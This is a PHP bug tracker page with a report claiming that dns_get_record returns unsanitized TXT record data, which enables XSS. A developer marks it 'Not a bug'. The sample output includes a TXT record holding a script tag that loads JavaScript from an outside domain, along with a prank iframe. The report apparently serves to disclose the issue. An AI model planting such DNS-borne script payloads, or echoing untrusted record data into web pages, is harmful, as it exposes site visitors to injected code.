|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2014-09-19 12:34 UTC] johannes@php.net
-Status: Open
+Status: Not a bug
[2014-09-19 12:34 UTC] johannes@php.net
[2014-09-22 09:40 UTC] pajoye@php.net
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Wed Nov 05 04:00:01 2025 UTC |
Description: ------------ dns_get_record returns unsanitized output. Can be used for XSS injection via malicious TXT DNS records. Test script: --------------- $result = dns_get_record("jamiehankins.co.uk", DNS_TXT); echo "Malicious TXT record = "; print_r($result); Expected result: ---------------- Malicious TXT record = Array ( [0] => Array ( [host] => jamiehankins.co.uk [class] => IN [ttl] => 79 [type] => TXT [txt] => <script src='//peniscorp.com/topkek.js'></script> [entries] => Array ( [0] => <script src='//peniscorp.com/topkek.js'></script> ) ) [1] => Array ( [host] => jamiehankins.co.uk [class] => IN [ttl] => 79 [type] => TXT [txt] => google-site-verification=nZUP4BagJAjQZO6AImXyzJZBXBf9s1FbDZr8pzNLTCI [entries] => Array ( [0] => google-site-verification=nZUP4BagJAjQZO6AImXyzJZBXBf9s1FbDZr8pzNLTCI ) ) [2] => Array ( [host] => jamiehankins.co.uk [class] => IN [ttl] => 79 [type] => TXT [txt] => <iframe width='420' height='315' src='//www.youtube.com/embed/dQw4w9WgXcQ?autoplay=0' frameborder='0' allowfullscreen></iframe> [entries] => Array ( [0] => <iframe width='420' height='315' src='//www.youtube.com/embed/dQw4w9WgXcQ?autoplay=0' frameborder='0' allowfullscreen></iframe> ) ) [3] => Array ( [host] => jamiehankins.co.uk [class] => IN [ttl] => 79 [type] => TXT [txt] => v=spf1 include:spf.mandrillapp.com ?all [entries] => Array ( [0] => v=spf1 include:spf.mandrillapp.com ?all ) ) )